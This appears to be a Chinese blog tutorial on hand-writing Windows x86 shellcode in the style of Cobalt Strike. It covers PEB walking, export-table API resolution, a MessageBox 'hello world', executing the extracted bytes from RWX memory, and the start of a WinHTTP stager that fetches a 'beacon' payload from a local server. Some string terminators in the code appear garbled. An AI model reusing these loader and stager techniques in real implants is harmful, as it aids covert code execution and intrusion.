手把手填鸭式的Shellcode编写入门教程

admin 2024年11月10日15:27:33评论27 views字数 66510阅读221分42秒阅读模式

这几期写的东西太复杂了,很多人说看不懂,让我们搞点轻松的。毕竟轻松的东西容易让人有成就感也是学习技术的最佳路线。

本系列文章会填鸭式教学编写一个shellcode就像cobal strike、msf那种一样.
本系列分三章:
第一章将介绍实现一个简单的hello world
第二章将实现一个简单的合法的远程协助工具
第三章将分析cobal strike的shellcode并且与第一章第二章对照
不要紧张.本系列很简单的,小白也会.本文不涉及到大量的汇编(本来想手工汇编写的,但是肯定很多人不懂,就整简单的)

环境准备

我们要用到如下工具:
vs2019(2022也可以,但是bug太多了目前)、ida、x64dbg.这里就不介绍工具的安装了.
打开vs2019,选择控制台应用(记住是c++控制台不是c#),然后一路下一步就到这个页面了:

手把手填鸭式的Shellcode编写入门教程

我们只写x32的shellcode,所以环境请保持不要动(debug/x86)

简单的注意事项

编写shellcode时候,要注意几点:

  1. 由于ALSR的存在,PE文件有重定向表.shellcode是没有的

  2. 由于shellcode没有重定向表,所以你在网上搜的那些XP时代的shellcode编写教程最多最多只能跑一次,再次重启就啥也没有了

  3. 由于我们是shellcode没有rdata,变量只能在栈上也就是函数内,不能有全局变量

解决重定向第一步: 获取kernel32的地址

为了解决重定向问题不至于shellcode只能启动一次,我们需要人肉定位API函数.
为了实现这个过程,我们需要几步走:

  1. 在内存中寻找kernel32.dll、ntdll.dll这些dll

  2. 解析这些dll的导出表

  3. 通过导出表的名字定位到函数,拿到最关键的两个API,getprocessaddress和loadlibrary这样就不用每次都定位导出函数了

这就相当于你从原始时代一路敲工具进化到工业时代一样.
由于本篇是填鸭式教学,所以就不细说具体原理了
大概原理是32或者64的程序里面有个重要的结构是PEB,PEB是系统的环境变量,你的进程的参数啥的都在里面.PEB里面有LDR,LDR里面塞了kernel32、ntdll这些dll的地址,然后读这些地址的PE头解析拿到导出表,导出表有函数名字跟地址的信息,拿到这些信息就成功了

这是代码,可以直接复制粘贴,复制到main函数上面即可:
请不要对此产生愧疚,因为成功的学习代码的第一步是让代码跑起来.跑起来了,再学习原理

#include <iostream>
#include <Windows.h>
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;


// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;

typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
uint64_t base_address = NULL;
//0.读取fs,找到peb
base_address = __readfsdword(0x30);
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kenrle32_base = 0;

base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kenrle32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kenrle32_base != 0) {
//找到了退出
break;
}
}
if (kenrle32_base == 0) {
__debugbreak();
}
printf("kernel32: %p n", kenrle32_base);
}

给main调用一下,看看调试输出

int main()
{
shellcode_start();
std::cout << "Hello World!n";
system("pause");
}

点这个运行程序:
手把手填鸭式的Shellcode编写入门教程
没有错误的,将会看到这个:
手把手填鸭式的Shellcode编写入门教程
这个时候,你可以用processhacker看或者用vs自带的工具查看模块列表,确认一下是否有误
手把手填鸭式的Shellcode编写入门教程
我们可以看到,是一模一样的
手把手填鸭式的Shellcode编写入门教程
说明是没有问题的.让我们继续下一步

解决重定向第二步: 解析导出表

有了地址后,我们直接解析导出表
解析导出表具体也分几步:

  1. 获取PE头

  2. 通过PE头获取导出表

  3. 通过导出表获取到函数
    这里也只说个大概,具体细节你需要参阅PE结构
    以下代码贴在刚刚你的printf后,同时删掉之前的printf

typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;

//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kenrle32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kenrle32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kenrle32_base + pExportDirectory->AddressOfNameOrdinals);

unsigned long dwCounter = pExportDirectory->NumberOfNames;

char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kenrle32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kenrle32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
printf("kernel32: %p fnGetProcAddress :%pn", fnLoadlibrary, fnGetProcAddress);

不出意外的,你应该看得到:
手把手填鸭式的Shellcode编写入门教程

解决重定向第三步: 工业化!

是时候工业化了,我们现在拥有调用任意API的能力了!
让我们弹出第一个hello world的信息库
以下代码直接复制粘贴即可:

    if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
char str3[] = { 'U','S','E','R','3','2','.','d','l','l','' };
char str4[] = { 'M','e','s','s','a','g','e','B','o','x','A','' };
char str5[] = { 'h','e','l','l','o',' ','w','o','r','l','d','' };
typedef int (WINAPI* MessageBoxAT)(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType);
MessageBoxAT pMessageBoxA = (MessageBoxAT)fnGetProcAddress(fnLoadlibrary(str3), str4);
if (pMessageBoxA == NULL) {
__debugbreak();
}
pMessageBoxA(NULL, str5, NULL ,NULL);

激动人心的时候到了.再次运行…
boom

手把手填鸭式的Shellcode编写入门教程
让我们看看为什么
首先我们知道这是访问冲突,一般是访问错地址了,所以有可能是函数地址取错了
所以我们确认一下变量是否正确,点击左下角的局部变量,主要看fnGetProcAddress和fnLoadlibrary
手把手填鸭式的Shellcode编写入门教程
然后打开反汇编
手把手填鸭式的Shellcode编写入门教程
把这两地址复制到地址栏查看
手把手填鸭式的Shellcode编写入门教程
你会发现fnGetProcAddress是正确function,但是fnLoadlibrary的地址长这样,很明显不是一个function(最简单的标记:function之间应该有int3)
手把手填鸭式的Shellcode编写入门教程
所以我们得回过头看去如何定位的.bug很简单,你可以先找一下,这是答案
手把手填鸭式的Shellcode编写入门教程
修复完后,再运行,你应该看得到一个漂亮的hello world了
手把手填鸭式的Shellcode编写入门教程

变成shellcode

我们现在的是function,而不是一段shellcode.我们的目标是编写shellcode
所以我们要把它变成shellcode,代码很简单,请直接复制粘贴,再深究原理:
在shellcode_start的函数下面放一个shellcode_end:

void shellcode_end() {
__debugbreak();
}

然后main里面去掉之前的shellcode_start,生成模式从debug改成release
再然后复制如下代码:

    const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}

然后 最重要的来了
我们的VS会优化代码 + 增加security cookie
而前者会完全破坏掉shellcode,后者会让你的shellcode出现空指针异常(因为security cookie是全局变量,但是我们shellcode压根不能用)
所以你必须关掉它:
关闭security cookie:
手把手填鸭式的Shellcode编写入门教程
关闭优化
手把手填鸭式的Shellcode编写入门教程
请记住,这是配置release的,生成shellcode的时候不能用debug生成,否则你的函数地址会是错的,是debug的gate函数而不是真正的函数!!!!!!
运行后,我们得到了一段美丽的shellcode:
手把手填鸭式的Shellcode编写入门教程
内存加载它看看:

    char shellcode[] = { .... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();

手把手填鸭式的Shellcode编写入门教程
恭喜你,shellcode的hello world就完成了

问题环节

  1. 为什么shellcode中不能用全局变量、API函数
    已经说过了,因为ALSR加上因为你不是正常的pe,正常的PE这些API函数会通过导出表得到真正的地址,你用API函数的只是你编译那会的API地址,重启程序就没了.也就是shellcode第一次能跑,第二次就炸的问题,所以才要大费周章的重定位

  2. 为什么shellcode中的字符串会是
    char str3[] = { 'U','S','E','R','3','2','.','d','l','l','' };
    这种而不是直接的”user32.dll”
    因为字符串也会当成全局变量存到rdata段,你是shellcode没办法访问.

完整代码

// 韭菜之家_day1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(unsigned __int64 *)(name)
#define DEREF_32( name )*(unsigned long *)(name)
#define DEREF_16( name )*(unsigned short *)(name)
#define DEREF_8( name )*(UCHAR *)(name)

typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;


// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;

typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
//0.读取fs,找到peb
uint64_t base_address = 0;
__asm
{
mov eax, fs: [30h]
mov dword ptr[base_address], eax
}
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kenrle32_base = 0;

base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kenrle32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kenrle32_base != 0) {
//找到了退出
break;
}
}
if (kenrle32_base == 0) {
__debugbreak();
}
typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;

//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kenrle32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kenrle32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kenrle32_base + pExportDirectory->AddressOfNameOrdinals);

unsigned long dwCounter = pExportDirectory->NumberOfNames;

char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kenrle32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kenrle32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
char str3[] = { 'U','S','E','R','3','2','.','d','l','l','' };
char str4[] = { 'M','e','s','s','a','g','e','B','o','x','A','' };
char str5[] = { 'h','e','l','l','o',' ','w','o','r','l','d','' };
typedef int (WINAPI* MessageBoxAT)(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType);
MessageBoxAT pMessageBoxA = (MessageBoxAT)fnGetProcAddress(fnLoadlibrary(str3), str4);
if (pMessageBoxA == NULL) {
__debugbreak();
}
pMessageBoxA(NULL, str5, NULL ,NULL);
__debugbreak();
}
void shellcode_end() {
__debugbreak();
}
int main()
{
/*
const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}

char shellcode[] = { ... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();
*/
system("pause");
}

我们实现了初步的shellcode,但是距离实现我们的功能还有一段时间.
本章将会介绍关键的payload下载.准备好加载我们的主要功能
首先需要准备一个http服务器,我这边偷懒使用hfs了.

winhttp

为了下载payload,我这边使用winhttp先下载到内存中.
winhttp下载需要分几步
1.初始化
2.获取大小
3.下载
我们一步一步来看

初始化

winhttp的比较奇怪,会有两个结构体,一个是存放内容的结构体,一个是给函数传参的结构体.存放内容的结构体是栈内存,所以要小一点不至于爆栈(虽然不太可能就是了)
_URL_INFO是我们自己定义的结构体
而URL_COMPONENTSW是真正要用到的结构体.但是内容会放到我们自己定义的结构体上

    typedef struct _URL_INFO
{
WCHAR szScheme[36];
WCHAR szHostName[36];
WCHAR szUserName[36];
WCHAR szPassword[36];
WCHAR szUrlPath[36];
WCHAR szExtraInfo[36];
}URL_INFO, * PURL_INFO;

_URL_INFO url = { 0 };
URL_COMPONENTSW lpUrlComponents = { 0 };
lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
lpUrlComponents.lpszExtraInfo = url.szExtraInfo;
lpUrlComponents.lpszHostName = url.szHostName;
lpUrlComponents.lpszPassword = url.szPassword;
lpUrlComponents.lpszScheme = url.szScheme;
lpUrlComponents.lpszUrlPath = url.szUrlPath;
lpUrlComponents.lpszUserName = url.szUserName;

lpUrlComponents.dwExtraInfoLength =
lpUrlComponents.dwHostNameLength =
lpUrlComponents.dwPasswordLength =
lpUrlComponents.dwSchemeLength =
lpUrlComponents.dwUrlPathLength =
lpUrlComponents.dwUserNameLength = 36;

在这里,假设后续的beacon的路径是http://127.0.0.1/duck

typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents);
typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW,
_In_ DWORD dwAccessType,
_In_opt_z_ LPCWSTR pszProxyW,
_In_opt_z_ LPCWSTR pszProxyBypassW,
_In_ DWORD dwFlags);
typedef HINTERNET(WINAPI* WinHttpConnectT)(
IN HINTERNET hSession,
IN LPCWSTR pswzServerName,
IN INTERNET_PORT nServerPort,
IN DWORD dwReserved);
typedef HINTERNET(WINAPI* WinHttpOpenRequestT)(
IN HINTERNET hConnect,
IN LPCWSTR pwszVerb,
IN LPCWSTR pwszObjectName,
IN LPCWSTR pwszVersion,
IN LPCWSTR pwszReferrer OPTIONAL,
IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL,
IN DWORD dwFlags);
typedef BOOL(WINAPI* WinHttpSendRequestT)(
IN HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
IN DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
IN DWORD dwOptionalLength,
IN DWORD dwTotalLength,
IN DWORD_PTR dwContext);
typedef BOOL(WINAPI* WinHttpReceiveResponseT)(
IN HINTERNET hRequest,
IN LPVOID lpReserved);
typedef BOOL(WINAPI* WinHttpQueryHeadersT)(
IN HINTERNET hRequest,
IN DWORD dwInfoLevel,
IN LPCWSTR pwszName OPTIONAL,
_Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer,
IN OUT LPDWORD lpdwBufferLength,
IN OUT LPDWORD lpdwIndex OPTIONAL);
typedef BOOL(WINAPI* WinHttpCloseHandleT)(
IN HINTERNET hInternet);
constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl";
constexpr char strWinHttpOpen[] = "WinHttpOpen";
constexpr char strWinHttpConnect[] = "WinHttpConnect";
constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest";
constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest";
constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse";
constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders";
constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle";
constexpr char strWinhttp[] = "Winhttp.dll";
constexpr wchar_t strUrl[] = L"http://127.0.0.1/duck";
constexpr wchar_t strHead[] = L"HEAD";
constexpr wchar_t strHTTP[] = L"HTTP/1.1";
constexpr wchar_t strGet[] = L"GET";

跟之前一样,用工业化时代的产物定位到这些需要的api

WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl);
